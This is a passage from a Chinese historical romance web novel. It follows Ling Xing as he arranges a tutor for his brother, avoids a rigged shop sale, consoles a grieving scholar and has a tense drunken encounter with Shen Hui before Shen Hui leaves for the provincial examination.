“博学多才,又是进士出身,藏书也颇多。若是他愿意,教阿月的话,再好不过。” 凌星心里有数了。 对于弟弟,凌星也多有关注。 到底是年纪小,心性再稳也隐约有些焦虑。 怕自己学的不好,担心会跟不上。 若是王隽能同意,后面也不必再去府城找夫子。 那边人生地不熟的,没有个亲朋好友照应,前面日子会很艰难。 不像在云水县这般自在。 话早说早安心,凌星出了厢房,就去找凌月。 将想法和凌月说清,问他愿不愿意让王隽做夫子。 若是愿意,就去请王隽来教。 而王隽那边能同意的话很好,不同意就只能攒够钱,然后带着凌月去府城。 凌月考童生试之前,就跟着王隽学过。 今日遇到问题,也是王隽替他解答。 不得不说,学问不能闭门造车,需要有人在前领路教导。 凌月很喜欢王隽。 也钦佩他的才学。 “哥哥,我愿意的。” 凌月点头,就差王隽。 兄弟两一起去堂屋找人。 谢青崖和王隽正好也清点完,说好明早去看那两个院子,看能不能定下。 不过就算是定下,打扫也需要时间,还要在凌星这多打扰些时日。 看到凌星过来,谢青崖给他塞了好几瓶驱蛇药粉。 “后面再做不知道什么时候了,这些你拿着用,多少也防蚊虫呢。” 凌星没和谢青崖客气这些,自然接过。 他深吸一口气,“我有个事,想问问你们的意见。” 谢青崖点头,“星哥儿想问什么,问便是。” 凌星道:“我想问,王隽大哥愿意做阿月的夫子吗?” 谢青崖一愣,反应的比王隽还快,他看一眼凌月,无奈道:“星哥儿,你不怕阿月会被人说吗?” 虽然他很高兴好友相信他,但不管事实真相如何,他和王隽当初就是因通。奸。乱。伦的罪被赶出王家的。 若是王隽教凌月,以后凌月真入仕的话,怕是少不了闲言碎语。 还会受到王家人,以及王家阵营的人排挤。 凌月在县学的事,谢青崖和王隽都知道。 也清楚因一直没合适的夫子,凌月如今是在家中自学。 情急会做出错误的决定,谢青崖心中高兴于凌星的信任,却也怕害了凌月。 对于谢青崖的担忧,凌星考虑过。 但对古代了解终归是少,更多的还是以现代思维去想,觉得老师是老师,学生是学生。 老师怎样,和学生没关系。 加上他知真相并非如传言那般,因此王隽身上的那些坏名声,都不算什么。 可在这里,师生之间,关系纠葛很深。 若是拜师,更是一荣俱荣一损俱损。除非对外言明二人断绝关系,否则,就是会被视为一体。 凌星思索间,凌月上前一步,恭敬的对王隽拱手行礼。 “凌月不在意其他,唯愿能得教导。” 天下之事,都是有得必有失。 凌月不想因为一些不实之事,就失去一个能得教导的机会。 且时间还长,谁又能知,十几年或是几十年后,又是什么样的光景? 未来太长,变化太多。 他只想抓住眼前,活在当下。 谢青崖看向凌星,想让他拦一下凌月。 凌星却摇摇头,小声的对谢青崖道:“阿月年岁虽小,但有自己的想法决断。这是他思考后的决定,就听他的吧。” 谢青崖轻叹一口气,罢了,只做夫子教导,不拜师的话,影响应该也不大。 王隽一直没出声,心中亦是思绪万千。 他没想到,凌星会想让他教凌月。 更没想到,在诸多弊端下,凌月还是赤子之心,要他做夫子,请求他教导。 他从小到大生活的地方,教他的都是权衡利弊,不论做什么都要选择于家族最有益的路。 王隽心中难得生出一份怯意。 他真的能教好赤忱的凌月吗? 而这份怯意产生后,也让王隽清楚的意识到,他想教凌月。 因为想,所以怕教不好。 沉默片刻后,王隽伸手托扶起凌月。 “好。” 生命有限,他也想试试。 换一个身份,换一种活法。 …… 王隽和谢青崖的院子定下了。 院子不大,只有个厢房加个堂屋,但坐北朝南,光线好。西面有间灶屋,边上又个草棚,其他两面围着土围墙。 院子所在街道不怎么繁华,没什么大酒楼,铺面也不多。和银杏街差不多,倒也僻静,租金还便宜。 而且,离凌星的院子近,只隔着两条街。 走小巷子走的话,那距离比去县学还近呢。 凌星能感觉到王隽他们选这个院子,有因为凌月的原因,方便他来回。 谢青崖和王隽搬完家第二日,凌月就要去读书。 因堂屋面积大,就把堂屋用竹帘隔开一道,右边的区域,王隽用来教凌月课业。 凌星这日也跟来,要给束脩。 王隽没多要,说按着县里其他私塾夫子的给就行。 凌星多添了三倍。 那些人最多也就是秀才,按着秀才功名去收钱。王隽可是进士,还只教凌月一个。 哪怕是按三倍给,银钱吃食全部加起来,一个月也就十两。 比县学便宜一半。 今日来不仅是给束脩,凌星还写了些吃食做法。 县里不缺卖豆腐的,谢青崖的豆腐营生干不下去。 凌星来了这里之后,每天忙活生计,加上思想经历不一样,和其他人说不到一起去。因此,他交心的朋友只有谢青崖一个。 他想让好友的日子能过好,以前谢青崖也帮他许多,这次选院子又迁就凌月。便写下布丁,双皮奶,芋圆,又把做鸡蛋冰激凌的法子写下。 有这些小料,能让谢青崖摆个糖水小摊。 做好的话,积攒些年月,也能弄间糖水铺子。 凌星替谢青崖想,谢青崖也惦记凌星。 束脩给的已经超出预期的多,其他的东西,他是坚决不收。 “星哥儿,我知道你是为我好。可我有手有脚,哪能赚不到钱?你有方子,自己额外弄个糖水铺子不是更好?” 凌星塞不过去,转念一想后提议,“我自己一个人心力有限,反正青哥儿你也没想好做什么,不如我们合伙开糖水铺子?” 谢青崖这回没急着拒绝。 “咋个合伙法?” 凌星道:“你若有银钱,可以拿出来与我一起开铺子。最后赚的钱,按着比例分成。没有银钱,那就帮我看铺子,我给你按掌柜算工钱。” 谢青崖笑道:“哎哟,我还能当上县里铺子的掌柜了!” 打趣归打趣,谢青崖也仔细想了。 左右都是凌星好意,替他着想。 不如就全心全意投入进去,把这铺子当做后半辈子的营生,好好经营。 谢青崖决定道:“我手头还有些钱,全拿出来和你开糖水铺子。” 要做,就尽力做最好。 凌星轻笑,“你真是信我,不怕我把你银子全卷跑了?” 谢青崖认真回他,“你想拿,多少都拿去。” 二人相视一笑,有这样一个全身心信任的好友,实在是幸运。 凌星和谢青崖都是说做就做的性子,糖水铺子提上了日程。 糖在大禹本就不便宜,加上有些小料用料原价也贵,这铺子地址就不能选在没什么闲钱人居住的街道。 最好的地方还是春雨街,这里有钱人多。 但春雨街的铺面都是寸土寸金,现在的小吃铺子,要不是林县令相送,凌星至少得奋斗十年才能买得起。 还不一定有人愿意卖。 二人每天都去牙行问铺面,一直问到八月,终于有个合适铺面。 牙人比凌星和谢青崖还激动,终于能把这一单给做了。 巧得很,铺面就在春雨街隔壁,还在云水县最大的酒楼,云水酒楼边上。 而这个酒楼,正是县丞周拓的妻弟所开。 此人与凌星还颇有些渊源。 当初包子摊刚有些起色,就被刘家在云霞镇的云霞酒楼掌柜盯上。 最后还是给林县令献了发酵方子,才得以解决。 也因此与林县令还有屠海结缘,一路走到今日。 现在的他,至少在云水县内,不会再和刚开始一样,需要将方子拱手让出去,保下平安了。 这间铺面上下两层,比云水酒楼少一层,却也足够气派。 是间成衣铺子。 衣服都是做好挂着,听说卖的都是州府时新的样式。 背后主家是府城的秦家,卖布起家,慢慢做大。后来徐家居上,秦家式微,生意渐渐不行了。 徐家的布庄就是凌记小吃铺子边上那家。 凌星听着牙人大概介绍着铺子主家人的背景,不由感叹世界真小。 全都绕一起去了。 “我估摸着秦家是出了什么事,急着用钱,这铺面卖的可急。对方也愿意降价,有商谈的余地。二位若是满意,还是尽早拿下的好。这地段,这气派的铺子,可不少人等着买呢。” 牙人说完一长串,气都不带喘。 凌星站在铺子大厅,往上看去。 内里房梁、木梯,都很讲究,还雕刻了些纹样,看着实在漂亮。 秦家当真是家底丰厚,才弄出这样一个铺子来。 他仰着头细看,不忘问牙人,“这么好的位置,隔壁酒楼一点动静也没有吗?要是酒楼东家买下,就能打通这里,酒楼不是能更大了?” 牙人嗐了一声,小声道:“那是隔壁不想买吗?还不是秦家和刘家有怨。” “前些年秦家刚走下坡路的时候,刘家就想买下这铺子,打通了做酒楼。秦家那时候再不济,也没到卖铺子的地步。结果刘家实在是太心急,听说还用了手段,秦家咬牙撑了下来。” “两家人因此结怨,秦家来人说卖铺子的时候,专门强调,不能卖给刘家或是和刘家交好的人。” 凌星不知还有这层缘由,怪不得这样好的铺子,轮得上他来看。 铺子左看右看都很满意。 就连谢青崖都夸,说这铺子和他在京城见到的好铺子比,也不差。 好的东西挑不出错,那唯一不好的就是价格了。 铺子只卖不租,凌星问价,牙人比划了一个数,“六百两。” 凌星有些乍舌。 好贵。 他现在手里一共一百七十二两,根本不够买的。 牙人自然也看出凌星手里的银钱有限,怕是买不下来。要不是凌星和谢青崖每天都去牙行问一遍,他也不会立即将二人带来看这铺子。 诚心诚意想要买铺子的,就算手里钱不够,看到满意的也会想办法借钱买下。 做生意嘛,哪有不借钱的。 他也不催凌星,就等着他自己决定,是放弃还是想办法凑钱。 谢青崖对这间铺子也极其满意。 说实话,六百两买这样一个上下两层,地段好,内里装修还很好的铺子,简直就是捡了大便宜。 要不是秦家急卖,不可能这样便宜。又与隔壁有仇怨,不然铺子都轮不到他们二人来看。 直接就被隔壁收下。 他拉着凌星走远几步,小声道:“我家里全部的银钱有七十三两二钱,可以全部拿出来。” 凌星默算一遍,那还差三百五十多两。 牙人猜到他们是在商量钱的事情,适当的开口提醒,“我能和秦家谈下五十到七十两,再多就不成了。” 凌星又算一遍,按着最低的五十两算,还差三百两出头。 这些银钱,他往哪凑…… 家里娘那应该能借到七八十两,四弟和三妹一共能借到四五十两,二郎那边大概也能借到五六十两。 再加上屠海的话,别说还真能正好凑齐。 正好…… 凌星一怔,这金额未免太巧了。 好像是专门为了他量身定做,恰好能掏空他和沈家所有钱,再借一点,就能买下。 卡在一个完全正好的点上。 若是以前,凌星或许不会多想,借一借咬牙就买了。 可两个多月前,刚发生过事,牵扯到县丞还有小吃铺子边上的布庄。 那布庄的东家,还有隔壁酒楼又都与秦家有纠葛…… 林县令当时提醒过他,让他要小心些,还派了护卫暗中护着铺子。 两个多月来风平浪静,但不代表,真的平静。 这间铺子有古怪。 凌星拉着谢青崖离开,对牙人抱歉道:“重新找一间铺子吧,这间不要了。” 生意做不成的时候多了去,牙人也习惯了。 “成,有合适的铺子我再带你们看。” 回到小院,凌星给谢青崖倒一杯水。 喝完解渴后,谢青崖才问凌星怎么好好的又不要那铺子了。 他能看得出凌星此前是想买下的。 后面要一起做生意,和周拓还有铺子隔壁布庄的事,没必要瞒着谢青崖。 凌星大概讲了一遍端午后发生的事,里面牵扯到林县令,讲的不是很详细。 不过也足够谢青崖清楚缘由。 他听完后也觉得不对劲,“这么看来,那铺子倒像是为你准备的一般。” “时隔两个多月没动静,警惕性差一些的人,都会不在意。” “幸好那金额不对劲,叫你给发现了。”谢青崖说着还有些后怕,要是没反应过来,岂不是钱全空了? 凌星沉思着,这金额确实不对劲。 把他能动用的钱算的正好。 像是提醒他有诈一样。 凌星送谢青崖先回家,他去一趟县衙,将此事告知给林县令。 林清渝吃一口冰酥酪,沉思。 又吃一口冰酥酪,继续沉思。 快见底的时候,他终于思考完,“你猜的可能没错,这铺子有问题。” “我派人去府城查一下,最近先不要再看铺子。不知道那群人想干什么,以不变应万变。” 现在已经是八月,再过四天,沈回就要去州城乡试。 托林县令帮忙,还是住在上次借住人的家里。 因此不必太早赶路,提前去找客栈租住。 沈回科考要紧,眼下是多事之秋,确实不适合有什么动作,再叫人钻了空子。 凌星颔首答应,回去后等林县令的消息,也开始帮沈回收拾行囊。 等了三天,凌星没等来林县令的消息,倒是等来了李徽缘。 自从他来县城,他们就没怎么见过面了。 他知李徽缘也考中,当时想送东西去道喜。 幸好沈回提醒他,说他的身份去了,会让人乱嚼舌根。 凌星一想也是,他现在可是个寡夫,李徽缘还尚未婚配,又是个秀才。 他要是带着东西出现在李家,肯定会被人传闲话的。 干脆就避嫌,托沈归送了些吃食过去,又带了句恭喜的话,连封信都没敢写。 李徽缘也通过沈归表达了谢意。 再后来就是听沈回说的,李徽缘本是要入县学,但为生计,选择开私塾赚点钱,自己自学,没有入县学。 这事县学传遍了,也不是秘密。 许是私塾忙,凌星自己也忙,他们二人就此断了联系。 今日在铺子前看到李徽缘,凌星还愣了一下。 沈回明天一早就要赶路去州城,今日没去县学,在家中休息,养精蓄锐。 听到敲门声,便知是凌星去看完铺子生意回来,匆匆去开门。 打开门的一瞬间,沈回嘴角笑意凝固。 李徽缘神色疲惫的拱手,“沈兄。” 沈回面无表情的回他,“李三郎。” 凌星去灶屋端茶水,去堂屋招待李徽缘。 许久不见,李徽缘变了不少。 没有以前有精气神,人又清瘦许多,面容疲惫不堪,手臂上还系着白色布条。 这是孝带。 家中有近亲长辈离世,子孙需要系的。 越是大门大户,规矩讲究越多。不仅要系孝带,还要食素三月。 普通老百姓倒是没这么多规矩,有的孝带只系七天就可摘下,不然不方便干活。 加上整天忙着生计,也容易忘记系这个。 干脆就缩短时间,尽个孝心就可以。 凌星第一眼就注意到李徽缘手臂上的孝带,想到李徽缘自幼聪慧,偏时运不济,中童生后,每逢科考家中就有近亲离世。 今年终于能参加院试,好不容易中个秀才,只等着八月下旬的乡试,能得举人,来年春便可入会试,接着便是殿试。 看来,李徽缘这次又无缘乡试了。 近亲离世,官员都得丁忧。得极得器重,有能力的官员,才能让帝王夺情,不必离开朝堂回家丁忧。 学子则是守孝的三年里,不能参加科考。 凌星一路上都没敢开口问,李徽缘实在是太不幸运了。 也难怪他如此失魂落魄。 为离世的近亲,也为自己又不能参加科考。 这像魔咒一样的状况,很折磨人的心态。 喝了两杯茶水,李徽缘才回过些心神。 沈回坐在凌星边上,双手环胸抱着,盯着李徽缘看。 李徽缘视线落在凌星身上,嘴角艰难勾出一抹笑,又注意到凌星边上的沈回,犹豫片刻,与沈回商量,“沈兄,我有些话想与凌哥儿说,不知沈兄可否避开一会?” 沈回看李徽缘一眼,然后起身。 他站在院子里,走几步看看堂屋,又调整了几次位置,随后站定不动。 堂屋里,李徽缘面色苍白。 外祖在乡试前离世,对他的打击很大。 他用了好几日,才接受外祖去世,且今年不能参加乡试的事实。 第83章 第 83 章 等我 接受事实是一回事, 心中的不甘与遗憾,又是另一回事。 族中之人,已经不敢再劝说他什么,也无话可劝。 那些话, 早在前面的十几年里, 说够多了。 越是临近科考,李徽缘越不想见人, 饭也吃不下。 他的运气太差, 老天爷都不想他成功。 这是他的命。 李徽缘颓废无比, 丧失了心气,把自己关在屋里发呆。脑袋里空空的, 什么也想不了。 直到昨日午后, 一缕阳光透过窗户,撒在角落里堆积的纸上。 全是他练字的纸。 看着这些字,李徽缘突然想起凌星。 在身边人对他不再抱有期待, 看他时眼中充满可惜遗憾,以为他一辈子只能是个童生, 劝他认命放弃时。 他听到了唯一一声,真情实感的赞赏。 李徽缘永远记得,凌星夸他时的样子。 似乎,他真的很厉害。 反应过来时, 李徽缘已经走到那一摞纸旁, 一张张的翻看。 他很厉害。 只是时运不济。 若是过了孝期再考, 一定可以考中。 泪水洇染, 墨化晕开。 李徽缘不确定,自己真的还可以吗? 县令大人此前惜他年幼得童生,却因连年孝期, 耽误多年,出手相助。 他不仅没能回报,反而又同以往一样。 这次他又要在秀才之名上,困多久? 李徽缘低头盯着字迹,视线模糊。 他原本是想,得中举人后,求娶凌哥儿。 那样好的一个人,他心中惦念,为之心动。怕坏了凌哥儿名声,一直压着不敢靠近。 且功名加身后求娶,也不会委屈了凌哥儿。 他心知凌星生意做的很好,他如今的家境实在不匹配。若是今年能中举,他还能有些信心,能配的上。 可他连今年科考都不能参加。 更不可能无故叫人等他三年,本就是他心生爱慕,人家都不知道。 李徽缘颓然枯坐,彻夜未眠。 想了一整夜,还是想再见一见凌星。 于是,便到了县城,眼下坐在了凌星对面。 在人生低谷时,李徽缘遵循本心前来,看到凌星后,只觉得眼前人是如此耀眼。 许久不见,凌星更好看了,衣着也不再是打满补丁,不合身的粗布麻衣。 虽也未着丝绸,但牙白绣纹衣袍,衬的人唇红齿白。 一双眼睛水亮耀眼,当真如天上星,触不可及。 李徽缘喉结滚动,不敢多看,匆匆低下头掩饰自己的紧张与无措。 “三……” 凌星原想喊三郎,突然想起之前沈回提醒他,李徽缘尚未成婚,他又与其无亲无故,喊三郎略显亲厚,不太合适。 便按着沈回说的,换了称谓。 “李三哥,你看起来不太好,有什么是我能帮你的吗?” 此前李徽缘帮他许多,今日人来,失魂落魄的样子,凌星没办法当看不见。 若是有他能做的,他一定会帮一把,也算是还一些之前欠下的人情。 李徽缘一愣,抬起头来问道:“凌哥儿怎么不唤我三郎了?” 凌星不太好意思的解释,“以前是我冒昧,忘了你尚未婚配。此般称呼怕叫人误解,让你为难,因此改了口。” 李徽缘张嘴想说什么,最终还是没吭声。 能在春雨街开铺子,在学后街有院子,这样的人,不再是他能够肖想的。 李三哥就李三哥吧。 凌星瞧着李徽缘心气更低落,整个人都发蔫。 他想了一下,没继续沉默,张口宽慰。 不管有没有用,劝了再说。 “李三哥,我看你戴孝带,应是有近亲离世。今年的乡试,是否不能再参加?” 李徽缘颓然点头。 孝带就在手臂,这件事瞒不过。 也不知为何,李徽缘有些害怕凌星知道他不能参加科考。 怕知道凌星的反应,怕凌星也和家人一样,劝他不然就认命,放弃吧。 “李三哥,你有才学,此番院试得中就是最好的证明。我曾听过一句话,天将降大任于斯人也,必先苦其心志。” “将这一切当作磨练心志毅力来看,是否能想明白许多?不是所有人都有这样坚毅的信念,三番五次这样的折磨心志还能坚守下去。” 李徽缘愣在原地,心绪起伏。 他没叫我认命。 他相信我能行! “凌哥儿觉得我可以?认为是天在考验我,而不是放弃我?”李徽缘激动的追问。 凌星没犹豫的点头,神色认真。 李徽缘确实有才学,林县令都曾夸赞过。 他前面那么多年被埋没,都一直忍受,没有自暴自弃。时间日复一日年复一年,还能坚守自我,足以可见,李徽缘意志坚定,非同常人。 更重要的是,他没有因为自己的不甘,不好的情绪,就去怨恨埋怨他人。 即便是颓废失意,也只是在想,是不是老天爷不喜他,让他认命。 这样稳定的性情,坚毅的品格,又有真才实学。 他只是差一个机会。 凌星的肯定与相信让李徽缘枯木逢春。 “你信我!” 李徽缘高兴的确定。 凌星见人又有了活气,微微笑道:“嗯,李三哥今后定能金榜题名。” 李徽缘面色微红,心中浊气消散大半。 他有些语无伦次,紧张又激动,“我一定不负你的信任!” 一定会金榜题名! 然后、然后求娶你。 李徽缘不好意思说出后半句话,光是想想就有些羞。 “凌哥儿,多谢你的开解,我心中郁结已消。” 李徽缘起身,郑重道谢。 他没忍住,逾矩的盯着凌星看了片刻。 将人的样貌,仔细刻在脑海。 现在不是想儿女情长的时候,他得把这些日子丢下的书再次看起来,为下一次的科考做准备。 下次,他一定能顺利科考! 李徽缘要走,凌星起身相送。 临走时,李徽缘突然转身,低头小声的问凌星,“以后,我可以来找你吗?” 凌星没立刻回答,而是想了一下。 受时代原因,他们最好不见面的好。可李徽缘现在精神压力大,若是一口回绝,怕是不妥。 那便先答应,反正李徽缘在镇上,也有自己的事忙,不会经常见面。 若是真见面频繁,后面李徽缘状态好点,也可以再提。 “当然可以。” 得到凌星的回答,李徽缘最后一丝郁结也消散。 “我先走了,凌哥儿不必送。” 凌星还是把人送到了门口,嘱咐李徽缘路上小心。 再转身时,一直在杏树下的身影已经不见,厢房原本敞开的门,紧紧的闭上了。 一整个白天,沈回都没从屋里出来。 凌月和沈来在各自夫子,师父那学习,每天出门早,回来晚。 现在基本上都是吃完晚饭才回来。 凌星做好了晚饭,还不见沈回出来,他有些担心。 用布罩子把饭菜罩好,避免蝇虫叮后,就去拍了沈回厢房的门。 “二郎,该出来吃饭了。” 没有回声。 “二郎?” 凌星有些奇怪,又加重了些力道拍房门。 等了一会,里面还是没有回应。 此前从未有过喊沈回没回应的情况,凌星怕出什么事,只能直接推门进去。 门刚推开,就有一阵酒气扑来。 往里走几步,就见沈回手里按着酒壶,人趴在桌子上睡着了。 明日要早起离家,好好的,怎么喝这么多的酒? 凌星一边疑惑,一边上前。 他弯腰用手拉沈回的手臂,“二郎醒醒,别在这睡。” 沈回个头高大,手臂肌肉发达,凌星一只手没能握住,改用两只手去拉。 拉了几下不奏效,沈回纹丝未动。 凌星深吸一口气,要使劲拉,力气刚用上,沈回就动了。 不过不是被他拉动,而是反过来,他被沈回的手臂带着向前。 下一瞬,凌星屁股一软,整个人坐在了沈回的腿上。 此时沈回已经抬头,他喝的是桂花酿,浑身散着桂花气息。 一张充满攻击性的俊脸,即便是醉酒,眉宇之间都有一抹凌厉感。 凌星从未如此近距离的看过沈回。 对方高挺的鼻梁轻擦着他的鼻尖而过,桂花酒香在他鼻息下萦绕。 他未喝酒,却有了些醉意。 凌星下意识的避开沈回的视线,要起身离开,手腕一重,人被拉住往下坐着。 沈回没有说话,眼眸盯着凌星。单手扣着凌星手腕,丝毫不放,强势得很,禁锢着人不准离开。 “二郎,你松开我。”凌星挣扎道。 沈回像是没听见,力道不减。 直到凌星喊痛,他才恢复了些听力,松些力道。 手腕的疼缓解许多,凌星也不再挣扎。 估摸着沈回是喝醉了,说什么都听不进去,只能先这样坐着等他酒醒一些再说。 离的太近,凌星不敢抬头。 只要抬头,鼻子都能碰到一起去。 可他想低头,沈回却不许。 “抬头看我。”沈回道。 凌星想说不要,下巴就被手捏住。 沈回的手很大,食指屈起抵着下巴,拇指指腹直接覆盖一半唇肉。 沈回似乎是惊讶于指腹下柔软触感,引得好奇喜爱,不由来回摩挲,视线紧盯,眸色深沉如海。 凌星觉得沈回的指腹有火,烫的不行。 他喜欢男人。 沈回这样摸他,他又不是木头,身体都不对劲,往外冒着热气。 “别摸。” 凌星艰难的动了动唇,却像是在吻沈回的指腹。 这让沈回动作一滞,指腹重重按在凌星唇上。视线不移,黑眸中倒映着凌星透着红粉的脸。 “当然可以,什么?”沈回声音略显沙哑的问道。 凌星没反应过来,“什么?” 沈回指腹轻动,顶起凌星上唇边缘,缓慢徘徊。 “你答应了李徽缘什么。” 沈回的声音带着压迫,抵在唇上的指腹让凌星莫名感到心颤。 他察觉出危险,睫毛微颤,人往后缩。 “答应他可以来找我。” 左手手腕被沈回及时扣住往前拉,凌星没能缩走。 随着他的回答,沈回指腹已经抵在他的上齿,随时都会探入口中。 凌星舌尖轻动,想要藏起舌根下的孕痣。 他已经接受了被赋予特殊意义的红痣,也完全感受到,沈回视线的攻击性。 二人都没了动作,只有看向彼此的眸光流转,桂花酒香轻涌。 沈回扣住凌星手腕的手又松开些,手指轻蹭一下,带着安抚意味,“害怕?” 凌星摇头。 “我知道二郎不会伤害我。” 沈回轻笑一声。 “天真。”他嘴角噙着笑,低头向前,“你怎知我不会伤害你?” 凌星鼻尖有些痒,刚刚有一瞬间,沈回的鼻尖又碰到了他的鼻尖。 唇上压着指腹,凌星没安全感。 醉酒后的沈回,和清醒的沈回当真不一样。 因沈回和往日大有不同,也让凌星拿捏不准,便闭着嘴,不再开口。 越挣扎,沈回扣的越紧。他只想着安静的等沈回清醒些,干脆不说话也不动。 乖乖的坐着,任由沈回的手抚着他的脸。 沈回盯着凌星的唇看,唇畔已经被他摩挲的发红,似乎微微肿了些,有点烫。 而凌星毫无动作,不做任何阻拦。让沈回眉眼压低一瞬,他只要稍微用力,指尖就可以顶开唇齿,看清里面景象。不论是微红的舌尖,还是舌根下的禁忌。 心念所动间,沈回指尖顶起凌星上齿,指节微抬。 凌星被迫仰着脖子,嘴巴不受控制的张开些许。 他有些慌乱看向沈回,不知沈回想要什么,又为何这样做。 或者说,他不敢深想。 视线触及时,沈回一直皱着的眉头松开了些。 “不讨厌我这样做?” 凌星愣了一瞬才反应过来沈回问的什么,他小声道:“你喝醉了。” 这是在为沈回的奇怪找借口,在为沈回轻浮举动找理由。 沈回在凌星的视线与反应中,看到了他对自己行为的放纵。 手指的力道被控制住,沈回视线锁紧凌星,片刻后喉结滚动,想探入凌星口中的指尖撤离。 他倾身向前,在靠近凌星脸的时候,稍微偏开,在凌星耳边小声道:“等我回来。” 凌星感觉肩膀重了一下,是沈回靠在他肩头。 想到沈回贴着他耳朵说的话,凌星心脏砰砰砰的直跳,手指蜷缩,张口轻声问道:“等你回来,做什么?” 等了一会,没等到沈回的回答。 耳边传来均匀的呼吸声,凌星稍稍偏头,才发现沈回靠着他的肩膀睡着了。 凌星躁动乱跳的心,慢慢归于平稳。 他费劲的推开沈回起身,没有离去,而是坐在边上,一起趴着,侧头用视线一寸寸描摹沈回的睡脸。 眉骨高,鼻梁挺,长睫,浓眉,唇形饱满,五官好看的无可挑剔,睡着也如此赏心悦目。 难怪叫他印象深刻,一日不见,心里都会觉得空落落,时不时的要记起想着。 凌星轻声一叹,可惜,他们似乎没多大可能。 明日,沈回就要启程科考,这是事实。 他伸手用指尖戳了戳沈回的脸颊。 “愿你金榜题名,步入仕途,得偿所愿。” …… 沈回起的早,凌星,凌月还有沈来起的同样早,为了送沈回。 就连谢青崖和王隽都来了。 沈家人本也想来送,想着凌星院子小不够住,就去住客栈。 谁知沈回没同意。 之前谢青崖和王隽在县城安顿好后,专门雇两辆马车,二人去村子接沈家人来吃饭。 沈回托王隽给沈家带话,言明县里如今不太平,铺子都靠林县令的护卫保护。家里也要小心谨慎些,别被人钻了空子。 所以趁着去吃安家宴时见一面就行,不必再多跑一趟。 沈家人左思右想,决定听沈回的。 安家宴那日沈家人来得齐,家里请祝村长看着,吃一顿饭就回去,出不了差错。 凌星送沈回时,只字没提昨晚的事情。 觉着沈回喝醉了脑子不清醒,怕是都不知道自己干了什么。 在他把手里最后一个包裹递给沈回时,没想到沈回突然附身,在他耳边快速道:“等我。” 速度太快,声音也小,身边的沈来和凌月都没察觉到异常。 王隽和谢青崖离得远些,更是没察觉到。 一直到马车离去,凌星都在失神。 刚刚沈回是真的说了话,还是他的错觉? 凌星看着渐远的马车,将万千思绪尽数掩藏。 沈回的想法凌星没办法找人确认,反正人总会回来,下次见面时再问也一样。 他的日子要继续过,生意也要继续做。 糖水铺子虽暂时开不了,不过摊子倒是能先支起来。 糖水摊子就支在凌记小吃铺子前,不是为了省那点摊位费,而是现在暗处有人盯着,摊子还是在眼皮子底下安全。 添加各种小料制作的糖水,小吃铺子原本的食客们也很喜欢。 布丁的滑嫩,双皮奶的奶香细腻,芋圆的q弹…… 天还热着,冰冰凉凉又香甜可口的糖水,实在解暑惹人爱。 即便是冬季,那也能做成热饮,一年四季都不愁卖。 而且不同的搭配,就是新的糖水,更不愁方子。 凌记小吃铺子已然也成为了县城各食肆的风向标。 糖水小摊刚摆出来三日,县里就有类似的。 不过因为布丁那几样小料还没琢磨出做法,其他摊位没有这些。 只在如何加水果,谷物上做研究。 有一家的绿豆陈皮糖水清爽解暑,凌星都会买来喝。 还有一家的杏仁酪做的一绝,冰镇过后更是香甜沁凉,凌月和王隽最爱。 最受欢迎的糖水还是在凌星和谢青崖这,正因为受欢迎,铺子前排的队越发的长。 凌记小吃铺子的空间,也越来越不够用。 得尽快找新铺子才行。 不过因为上次的事,凌星在找铺子一事上更加谨慎,也导致一直没找到铺子。 转眼过去十日,凌星收到了沈回从州城寄过来的信。 内容简短,只有问候和报平安。 凌星拿着信回一趟村子,叫爹娘弟妹们也放心。 刚从云霞镇回来,就被林县令派人叫了过去。 第84章 第 84 章 迂回 凌星很少在林清渝脸上看到特别明显的不悦。 这次被他看到了。 “上次铺子的事情, 已经查出眉目。” 林清渝眉头紧锁,沉声道:“是那秦家受胁迫,不得不以卖铺子作幌子,来引你上钩。” 凌星仔细听着, 原来是布庄背后的东家, 徐家人在生意上打压秦家,想要彻底吞并秦家, 拿下一整个府城下所有县城乡镇的布匹生意。 秦家也是一年不如一年, 之前还能咬牙支撑, 今年是强弩之末,实在撑不下去。 秦家在府城的生意, 基本上都落入徐家手中。偏云水县的铺子, 徐家没有过问。 想着留得青山在,不怕没柴烧。 云水县铺子不然就留着,这边生意虽不如府城好, 徐家都看不上,但对现在的秦家来说, 苍蝇再小也是肉啊。 谁知没安生几日,秦家人被以偷漏商税为由,抓了大半进牢房。 衙门放出话,要么补齐放人, 要么就流放干苦力, 这辈子别想回来。 说到这里, 林清渝顿了一下, 感叹一声,“还好秦家的主母樊如烟是位奇女子。” 事情发展到这里,其实并无疏漏不对劲的地方。 偏巧秦家落败, 家中仆从只剩下几个心腹。樊如烟身为当家的主母,也不得不亲自去云水县查看仅剩的铺子状况。 也正因此,叫她无意知道布庄有个伙计涉嫌教唆害人之事。 内宅里不比官场轻松,各家如何相处维护,全是经营,人人都有千百个心思。 樊如烟几十年的阅历,敏锐察觉到不对劲。 可又说不出来哪里不对劲。 此事被她放在心上,着人打探。 在知道差点被人陷害的铺子掌柜,与林县令有些交情后,樊如烟便心有不安。 恰巧云水县的铺子是被保下来的一个,更让樊如烟不安。 如她所料,没多久家里就出事了。 秦家被官府抓走一半的人,家中乱作一团,钱财全部凑出来还都差着数,只能卖铺子。 樊如烟管家多年,商税交没交她心里清楚得很。 秦家为商向来诚信守矩,想要走的长远安稳,根本不可能在这上面动歪心思。 这明摆着是有人在背后搞鬼。 像是逼着秦家主动卖铺子一样。 如此大费周章,做这个局,背后之人就是想要把自己摘干净。 从头到尾,就只有秦家出现。 樊如烟在混乱中冷静,将知道的事情全部抽丝剥茧的串联起来,拼凑出缘由。 想来是有人要借刀杀人,让他们秦家做刀,砍向云水县那位叫凌星的食肆掌柜。 秦家在云水县的铺子只要卖给了那人,定会出现问题。 那凌哥儿不愿吃亏,就会想方设法的对付秦家,讨回公道。 秦家为应对,也会使出浑身解数,最终很可能两败俱伤。 如果林县令出手的话,也可能是秦家彻底消亡。 但林县令也会因此被抓住把柄。 樊如烟想通后,心下震惊,这网织的着实密。 她并不清楚背后之人是谁,自知不能打草惊蛇,干脆将计就计售卖铺子。 只是金额上,她做了巧思。 收集到凌星情况后,把金额定在正好的位置,若是人聪明警惕,便能看出是假。 同时不动声色的给林县令送去消息。 秦家这边也找不出错,为了快点换钱救人,这个价格很合适。 如果林县令派人来查,还能借此与林县令搭上,求一求林家,保秦家一条出路。 若是人不聪明,没看出来依旧上当。那他们也会有见面交锋的机会,可以趁机说明。 但若什么也不做,不提醒,即便是后续说得上话,人家也没有信她的理由。 樊如烟算的精准,是最好的结果,她等来了林县令派去的人,便事无巨细的告知。 